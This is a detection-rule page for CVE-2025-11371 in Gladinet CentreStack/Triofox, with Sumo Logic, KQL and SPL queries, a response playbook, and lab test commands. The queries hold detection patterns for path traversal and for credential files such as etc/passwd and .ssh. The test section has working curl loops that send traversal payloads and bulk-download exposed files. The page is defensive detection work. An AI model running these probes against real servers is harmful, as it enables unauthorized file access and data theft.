Detect Gladinet CentreStack/Triofox Unauthorized File/Directory Access (CVE-2025-11371) in Sumo Logic CSE
Detects exploitation of CVE-2025-11371, a CWE-552 vulnerability in Gladinet CentreStack and Triofox where files or directories are accessible to external parties without proper authorization. This CISA KEV-listed vulnerability allows unauthenticated or unauthorized actors to access sensitive files and directories exposed by the affected file-sharing platform.
MITRE ATT&CK
- Tactic
- Collection Exfiltration
Sumo Detection Query
_sourceCategory=web/iis OR _sourceCategory=web/apache OR _sourceCategory=proxy
| parse regex "(?P<src_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+\S+\s+\S+\s+\[(?P<timestamp>[^\]]+)\]\s+\"(?P<method>\w+)\s+(?P<uri_path>\S+)\s+HTTP/[\d\.]+\"\s+(?P<status>\d{3})"
| where status in ("200", "206", "301", "302")
| where (uri_path matches /(?i)\/(storage|files|share|download|content)\//) or (uri_path matches /(?i)(\.\.[\/\\]|%2e%2e|%252e%252e)/) or (uri_path matches /(?i)\/(web\.config|appsettings|\.ssh|etc\/passwd)/)
| where !(src_ip matches /^10\./ or src_ip matches /^172\.(1[6-9]|2[0-9]|3[0-1])\./ or src_ip matches /^192\.168\./)
| timeslice 1h
| stats count as request_count, values(uri_path) as paths by _timeslice, src_ip, method, status
| where request_count > 3
| order by request_count descSumo Logic query identifying external source IPs accessing file/directory endpoints on CentreStack or Triofox, aggregated by time window to highlight enumeration patterns.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate remote users accessing shared drives through the web portal
- Scheduled sync clients connecting from cloud providers with public IPs
- Partner SSO-authenticated sessions accessing shared project files
- Monitoring tools performing uptime checks against file service endpoints
Other platforms for CVE-2025-11371
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated File Enumeration via CentreStack Storage Endpoint
Expected signal: IIS access logs will show HTTP GET requests to /storage/, /files/, /share/ etc. from the test IP with no authentication headers. Responses of 200/206 indicate the vulnerability is present.
- Test 2Path Traversal Attempt Against CentreStack File Server
Expected signal: Web server logs will contain requests with URL-encoded traversal sequences. Windows Security Event Log Event ID 4663 may fire if file auditing is enabled and a real file is accessed.
- Test 3Bulk File Download Simulation from External IP
Expected signal: IIS logs will show high-volume sequential GET requests from a single external IP with large response sizes (sc-bytes). Network flow data will show sustained outbound data transfer to the test IP.
Response Playbook
Triage
- Identify the source IPs accessing file/directory endpoints and determine if they are authenticated sessions by correlating with authentication logs for CentreStack or Triofox. Check whether the requests include valid session tokens or API keys.
- Review the specific file paths accessed in the HTTP logs. Determine if sensitive files (configuration files, credentials, private documents) were successfully retrieved by checking response sizes and codes (200/206 indicate successful transfers).
- Cross-reference the source IPs against threat intelligence feeds and internal allowlists. Determine if the accessing IP belongs to a known user, partner network, or represents an unrecognized external actor.
- Check the CentreStack/Triofox server version against the vendor advisory at centrestack.com to confirm whether the instance is running a vulnerable version and has not yet received the patch.
Containment
- If exploitation is confirmed, immediately restrict network access to the CentreStack or Triofox server by blocking the offending source IPs at the firewall or WAF level. Consider temporarily restricting the server to VPN-only access until patching is complete.
- Apply the vendor-released patch from https://www.centrestack.com/p/gce_latest_release.html immediately. If patching cannot be done immediately, disable public-facing file sharing endpoints or place the service behind additional authentication controls (e.g., MFA enforcement, IP allowlisting).
Evidence Collection
- Collect full IIS or web server access logs covering the suspected exploitation window. Preserve logs showing URI paths accessed, source IPs, HTTP methods, status codes, response sizes, and user-agent strings. Archive these logs to tamper-evident storage immediately.
- Extract file system audit logs from the CentreStack/Triofox server to determine which files were actually read or downloaded during the incident window. Correlate with OS-level file access auditing (Windows Security Event Log Event ID 4663) if enabled.
Escalation Criteria
- !Escalate to incident response if accessed paths include sensitive files such as configuration files, database credentials, private keys, or user PII — particularly if response sizes suggest data was successfully exfiltrated.
- !Escalate immediately if the source IP is associated with known threat actors or if access patterns show systematic enumeration of directory structures, suggesting an organized exfiltration campaign rather than opportunistic scanning.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
IIS access logs at %SystemDrive%\inetpub\logs\LogFiles\ showing HTTP requests to file storage paths - >
Windows Security Event Log Event ID 4663 (file object access auditing) on the CentreStack server host - >
CentreStack application logs typically located in the application install directory under /logs/ - >
Network capture (PCAP) from perimeter devices showing HTTP/S request and response bodies for the exploitation window
Tuning Guidance
Reduce false positives by enriching source IP addresses with an allowlist of known CentreStack/Triofox user IP ranges, VPN egress IPs, and partner network CIDR blocks. Apply a minimum byte-transfer threshold (e.g., >1MB) to surface only successful data access rather than failed probes. If the platform is internal-only, alert on any external source IP access regardless of path. Exclude known user-agent strings associated with the official CentreStack sync client from path-traversal checks, but retain them in volume-anomaly detections. Correlate with authentication events to distinguish authenticated-but-unauthorized access from fully unauthenticated access, which indicates more severe exploitation.
Hunting Queries
Hunt for unauthenticated or anonymous sessions downloading large volumes of files from CentreStack/Triofox storage endpoints over the past 7 days, which may indicate data staging or exfiltration activity.
W3CIISLog
| where TimeGenerated > ago(7d)
| where csUriStem has_any ("/storage/", "/files/", "/share/", "/download/")
| where sc-status in (200, 206)
| where cs-username == "-" or cs-username == ""
| summarize RequestCount=count(), FilesAccessed=dcount(csUriStem), TotalBytesSent=sum(sc-bytes) by c-ip, bin(TimeGenerated, 1h)
| where RequestCount > 10 or TotalBytesSent > 10000000
| order by TotalBytesSent descindex=web sourcetype=iis
| where match(uri_path, "(?i)/(storage|files|share|download)/")
| where status=200 OR status=206
| where isnull(username) OR username="-"
| bucket span=1h _time
| stats count AS requests, dc(uri_path) AS unique_files, sum(bytes_out) AS total_bytes BY _time, src_ip
| where requests > 10 OR total_bytes > 10000000
| sort -total_bytesAtomic Red Team Tests
Simulates an attacker probing the CentreStack file storage endpoint without authentication to enumerate accessible files, consistent with CVE-2025-11371 exploitation.
Command
TARGET_HOST="http://centrestack-test.lab"; for path in /storage/ /files/ /share/ /download/ /content/ /data/; do echo "Testing: $TARGET_HOST$path"; curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -A "Mozilla/5.0" "$TARGET_HOST$path"; doneCleanup
# No cleanup required — read-only HTTP requests leave no persistent artifactsExpected Telemetry
IIS access logs will show HTTP GET requests to /storage/, /files/, /share/ etc. from the test IP with no authentication headers. Responses of 200/206 indicate the vulnerability is present.
Expected Detection
SPL and KQL queries should trigger on the sequential access pattern to multiple storage endpoints from the same unauthenticated external source IP within the detection window.
Tests whether the CentreStack/Triofox server is vulnerable to path traversal that could expose files outside the intended share root, as part of the broader CWE-552 exposure class.
Command
TARGET_HOST="http://centrestack-test.lab"; for payload in "../../../windows/win.ini" "..%2F..%2F..%2Fwindows%2Fwin.ini" "%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin.ini" "....//....//windows/win.ini"; do echo "Testing payload: $payload"; curl -s -o /tmp/traversal_response.txt -w "HTTP Status: %{http_code}\n" -A "Mozilla/5.0" "$TARGET_HOST/storage/$payload"; cat /tmp/traversal_response.txt | head -5; doneCleanup
rm -f /tmp/traversal_response.txtExpected Telemetry
Web server logs will contain requests with URL-encoded traversal sequences. Windows Security Event Log Event ID 4663 may fire if file auditing is enabled and a real file is accessed.
Expected Detection
Regex-based detections on URI path traversal patterns (%2e%2e, ../) should alert. Chronicle YARA-L and SPL queries will match on the traversal sequence patterns in the HTTP request URI.
Simulates a malicious actor bulk-downloading files from an exposed CentreStack share after discovering accessible paths, mimicking post-exploitation data staging behavior.
Command
TARGET_HOST="http://centrestack-test.lab"; # First discover accessible files
curl -s "$TARGET_HOST/files/" > /tmp/filelist.txt; # Extract file links (basic)
grep -oP 'href="[^"]+"' /tmp/filelist.txt | sed 's/href="//;s/"$//' | head -20 > /tmp/links.txt; # Download up to 10 files
while IFS= read -r link; do curl -s -o "/tmp/downloaded_$(basename $link)" "$TARGET_HOST$link" && echo "Downloaded: $link"; done < /tmp/links.txtCleanup
rm -f /tmp/filelist.txt /tmp/links.txt /tmp/downloaded_*Expected Telemetry
IIS logs will show high-volume sequential GET requests from a single external IP with large response sizes (sc-bytes). Network flow data will show sustained outbound data transfer to the test IP.
Expected Detection
Volume-based hunting queries detecting >10 requests or >10MB transferred from a single unauthenticated external IP should trigger. The sumo_logic and kql time-bucketed aggregation queries will surface the anomalous transfer volume.